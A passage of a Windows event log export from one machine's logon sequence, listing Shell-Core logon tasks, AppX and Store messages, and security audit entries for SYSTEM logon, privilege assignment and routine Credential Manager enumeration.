08:29:02.919\t62170\tLogon task 'WSXRegistryInitPreStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62171\tLogon task 'WSXRegistryInitPreStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62170\tLogon task 'ConfigureA9InstallOptionalComponent' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.921\t1282\tThe TBS device identifier has been generated.\tInformation\tSystem\tMicrosoft-Windows-TPM-WMI\n05.09.2026 08:29:02.926\t62171\tLogon task 'ConfigureA9InstallOptionalComponent' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.926\t62170\tLogon task 'PerUserSetup' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.926\t62170\tLogon task 'RemoveC2DShortcut' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.926\t62171\tLogon task 'RemoveC2DShortcut' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.930\t360\t\"Windows Hello for Business provisioning will not be launched. \nDevice is Microsoft Entra joined (or hybrid joined): Not Tested \nUser has logged on with Microsoft Entra credentials: No \nWindows Hello for Business policy is enabled: Not Tested \nWindows Hello for Business post-logon provisioning is enabled: Not Tested \nLocal computer meets Windows hello for business hardware requirements: Not Tested \nUser is not connected to the machine via Remote Desktop: Yes \nUser certificate for on premise auth policy is enabled: Not Tested \nMachine is governed by none policy. \nCloud trust for on premise auth policy is enabled: Not Tested \nUser account has Cloud to OnPrem TGT: Not Tested \nSee https://go.microsoft.com/fwlink/?linkid=832647 for more details.\"\tWarning\tMicrosoft-Windows-User Device Registration/Admin\tMicrosoft-Windows-User Device Registration\n05.09.2026 08:29:02.972\t62171\tLogon task 'StartLayoutInit' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.107\t8001\t\"Skipping license manager: PFN MicrosoftWindows.Client.WebExperience_526.17301.40.0_x64__cw5n1h2txyewy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:03.152\t210\tCreated Desktop AppX container {245CDB0F-A8C9-11F1-B7FF-289200F24A99} for package MicrosoftWindows.Client.WebExperience_526.17301.40.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:03.152\t211\tAdded process 11012 to Desktop AppX container 245cdb0f-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.WebExperience_526.17301.40.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:03.255\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.267\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:03.269\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:03.269\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:03.327\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:03.327\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:03.327\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:03.327\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:03.329\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.329\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.331\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.336\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.362\t3\tInstance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WMIProv, 0) could not be created. Error: \"Cannot create a file when that file already exists.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:03.388\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.389\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.389\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.398\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.398\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.398\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.400\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.400\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.400\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.570\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.577\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.601\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.618\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.726\t1002\tError 0x80070005 occurred while verifying known folder {62ab5d82-fdc1-4dc3-a9dd-070d1d495d97} with path 'C:\\ProgramData'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:03.745\t62171\tLogon task 'LaunchExperienceHost' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.745\t62171\tLogon task 'AssignedAccessLogonTaskAgentPreStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.745\t62171\tLogon task 'PerformSignInSuggestions' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.746\t62171\tLogon task 'PerUserSetup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.746\t62171\tLogon task 'PreStartTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.750\t62171\tLogon task 'AllLogonTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'PostStartTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'PerUserSetupPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'PerUserSetupPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'LaunchExperienceHostPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'LaunchExperienceHostPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'LaunchPeopleExperiencePostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'LaunchLockAppHostPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'LaunchLockAppHostPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'AssignedAccessAutoLaunch' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'AppReadinessNotifyLogonComplete' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'LaunchInputDialListenerPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'LaunchPeopleExperiencePostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'AppReadinessNotifyLogonComplete' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'NotifyTrayStartIsReady' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'FixUserTileStoreCorruption' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'OEMFirstRunTelemetry' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'NotifyTrayStartIsReady' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'OEMFirstRunTelemetry' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62170\tLogon task 'StartSkydriveSync' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62171\tLogon task 'FixUserTileStoreCorruption' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62170\tLogon task 'ResumeAppRestore' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62171\tLogon task 'ResumeAppRestore' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62170\tLogon task 'PrepareSettingSearch' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62171\tLogon task 'PrepareSettingSearch' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62170\tLogon task 'CommercialHomePageSetup' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.753\t62171\tLogon task 'PostStartTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.753\t62171\tLogon task 'CommercialHomePageSetup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.753\t62170\tLogon task 'RemoveTempOOBEUser' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.753\t62171\tLogon task 'RemoveTempOOBEUser' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.753\t62170\tLogon task 'InitializeBrowserSsoCookie' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'InitializeBrowserSsoCookie' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'CreateEdgeIconIfNeededPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'CreateYourPhoneShortcutsIfNeededPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'CreateYourPhoneShortcutsIfNeededPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'LaunchLockScreenCacheImageRestorePostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'LaunchLockScreenCacheImageRestorePostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'CreateEdgeIconIfNeededPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'LaunchExplorerDestListMigrationPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'LaunchExplorerDestListMigrationPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'LaunchCustomShell' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'FamilySync' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'FamilySync' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62170\tLogon task 'FamilyMembersNotification' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62171\tLogon task 'FamilyMembersNotification' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62170\tLogon task 'CloudDataRestore' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62170\tLogon task 'CDSDataMigration' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62170\tLogon task 'LaunchExplorerNamespaceRestrictionPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62171\tLogon task 'StartSkydriveSync' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62170\tLogon task 'CloudDataUpdateProfileName' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.756\t62170\tLogon task 'WSXRegistryInit' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.756\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.756\t62171\tLogon task 'LaunchExplorerNamespaceRestrictionPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.757\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.757\t62171\tLogon task 'WSXRegistryInit' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.758\t62171\tLogon task 'LaunchCustomShell' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.759\t62171\tLogon task 'AssignedAccessAutoLaunch' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.761\t76\tError: ClassFactory cannot supply requested class; See event details for more information.\tError\tMicrosoft-Windows-CloudRestoreLauncher/Operational\tMicrosoft-Windows-CloudRestoreLauncher\n05.09.2026 08:29:03.762\t76\tError: ClassFactory cannot supply requested class; See event details for more information.\tError\tMicrosoft-Windows-CloudRestoreLauncher/Operational\tMicrosoft-Windows-CloudRestoreLauncher\n05.09.2026 08:29:03.762\t62171\tLogon task 'CDSDataMigration' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.766\t62171\tLogon task 'LaunchInputDialListenerPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.767\t2413\tAn application was registered with the following parameters: System [PackageFullName] Windows.SystemToast.WindowsTip [AppUserModelId] 0x24FF [Settings] 1073741824 [AppType] The operation completed successfully. [ErrorCode].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.772\t62171\tLogon task 'CloudDataRestore' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.776\t8001\t\"Skipping license manager: PFN Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:03.782\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.783\t62171\tLogon task 'CloudDataUpdateProfileName' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.792\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.793\t211\tAdded process 11816 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 